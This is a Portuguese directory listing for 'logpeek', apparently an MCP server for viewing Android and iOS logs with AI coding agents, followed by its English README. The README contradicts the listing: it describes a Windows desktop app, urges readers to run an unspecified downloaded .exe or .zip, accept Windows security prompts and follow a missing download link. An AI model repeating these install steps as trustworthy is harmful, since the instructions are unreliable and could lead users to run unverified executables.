logpeek - Visualizador de Logs Mobile
Tiaintermittent147/logpeek
Acesse logs de Android e iOS em agentes IA para debug rápido de apps
Ver no GitHubMCP Server que permite inspecionar logs de dispositivos Android e iOS diretamente de agentes de IA para debugar aplicações móveis. Oferece acesso facilitado a mensagens de erro, eventos de dispositivo e saída da aplicação sem necessidade de ferramentas complexas.
Instalação
npx convez-ai Tiaintermittent147/logpeek1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Debugar crashes em aplicações Flutter e React Native
- Inspecionar logs de dispositivos Android conectados ou emuladores
- Analisar erros de inicialização e permissões em iOS/iPadOS
- Fornecer contexto de logs para agentes IA durante desenvolvimento mobile
Veredito

Ferramenta especializada para debug de aplicações móveis que integra bem em fluxos de desenvolvimento assistido por IA. Recomendado para times que desenvolvem com Flutter, React Native ou código nativo em Android/iOS e querem acelerar identificação de problemas.
README
A tradução para o português deste README ainda está na fila.
📱 logpeek - See mobile logs with ease
🔍 What logpeek does
logpeek helps you view logs from Android and iPhone devices while you work with an AI coding agent. It gives you a clear way to inspect app output, error messages, and device events without digging through hard-to-read tools.
Use it when you need to:
- check why a mobile app failed
- view logs from an Android device or emulator
- view logs from an iPhone or iPad
- help an AI agent understand what the app is doing
- spot issues in Flutter or React Native apps
🖥️ Before you start
You will need:
- a Windows PC
- internet access
- a GitHub account, if your browser asks you to sign in
- an Android device, iPhone, or emulator if you want live logs
For the best results, keep your phone unlocked and connect it with a USB cable if you plan to read live device logs.
⬇️ Download logpeek
Visit this page to download or get the latest version:
If the page shows release files, pick the Windows version and save it to your computer. If you see a source code download, choose the packaged Windows file when available.
🧰 How to install on Windows
1. Open the download page
Go to the logpeek GitHub page in your browser.
2. Find the Windows file
Look for a file that matches Windows, such as:
.exe.msi.zip
If you see more than one file, choose the one made for Windows desktop use.
3. Save the file
When your browser asks what to do, save the file to a place you can find easily, such as:
- Downloads
- Desktop
4. Open the file
- If you downloaded an
.exeor.msi, double-click it - If you downloaded a
.zip, right-click it and choose Extract All, then open the folder and run the app file inside
5. Allow the app to run
If Windows shows a security prompt, choose Run or Yes if you trust the GitHub page you opened.
🚦 First run
When you start logpeek for the first time, it should open a simple window or interface that helps you connect to a mobile device or read logs from a log source.
If Windows asks for permission to use the network or access your device, allow it so the app can work with connected phones and local log streams.
📲 Connect an Android device
To view Android logs, connect your phone with a USB cable or use an emulator.
On the phone
- turn on Developer options
- enable USB debugging
- connect the phone to your PC
In logpeek
- open the Android log view
- pick the connected device
- start reading logs
Android logs often help with:
- app crashes
- startup errors
- network failures
- layout problems
- permissions issues
🍎 Connect an iPhone or iPad
To view iOS logs, connect your iPhone or iPad to your PC or use a simulator setup if your project supports it.
On the device
- unlock the device
- trust the computer if prompted
- connect with a cable
In logpeek
- open the iOS log view
- choose the available device or source
- start the live log stream
iOS logs can help with:
- app launch issues
- device warnings
- API errors
- screen flow problems
- crashes during testing
🧪 Common ways to use logpeek
For app testing
Use logpeek while testing a mobile app so you can see what happens right before something breaks.
For AI coding agents
If you use an AI coding agent, logpeek gives it a clearer view of what the mobile app is doing. That helps the agent work from real device logs instead of guesses.
For Flutter apps
Flutter apps often send useful runtime messages that show build issues, widget errors, and device problems.
For React Native apps
React Native apps can use logs from JavaScript and native code. logpeek helps keep those messages in one place.
🧭 What you may see in the app
You may see sections like:
- connected devices
- log output
- search box
- filters
- pause and resume
- clear logs
- copy log text
These controls help you focus on the messages that matter most.
🛠️ If the device does not show up
Try these steps:
- unplug the USB cable and plug it back in
- unlock the phone
- check that USB debugging is on for Android
- confirm that you tapped Trust on iPhone
- close and reopen logpeek
- restart the phone and the PC
- try a different USB port
- try a different cable
If you use an emulator, make sure the emulator is running before you open logpeek.
🔎 If you do not see logs
Check these items:
- the app is running on the device
- the device is still connected
- the filter is not hiding messages
- the log view is not paused
- the app you want to inspect is actually generating output
If the screen stays empty, start the mobile app again and watch for fresh messages.
📁 Typical file layout
If you open the download as a folder or zip file, you may see:
- the app file
- support files
- a README or help file
- config files
Keep the files together in the same folder so the app can start without missing parts.
🔐 Privacy and local use
logpeek is meant for local device log work. That makes it useful when you want to inspect logs on your own machine during development or testing.
Keep in mind:
- logs may include app names
- logs may include error text
- logs may include device details
Review logs before sharing them.
💡 Tips for smoother use
- keep the app and phone close during setup
- use a short, good USB cable
- close other tools that may grab device access
- use filters when logs fill the screen
- save important messages before clearing them
🧩 Works well with
logpeek fits well with:
- Android Studio
- Xcode
- Flutter
- React Native
- Claude Code
- other AI coding agents
- local debugging tools
🆘 Quick help checklist
If you get stuck, check this list:
- Did you download the Windows file?
- Did you extract the zip if needed?
- Did you run the app file?
- Is the phone connected?
- Is USB debugging on for Android?
- Did you trust the PC on iPhone?
- Is the emulator running?
- Is the log view paused?
📌 Project info
- Name: logpeek
- Type: mobile log viewer for desktop use
- Focus: Android and iOS logs
- Use case: help AI agents and users inspect mobile app behavior
- Topics: ai-agent, android, claude-code, cli, coding-agent, debugging, developer-tools, flutter, ios, logcat, logs, mcp, mobile, react-native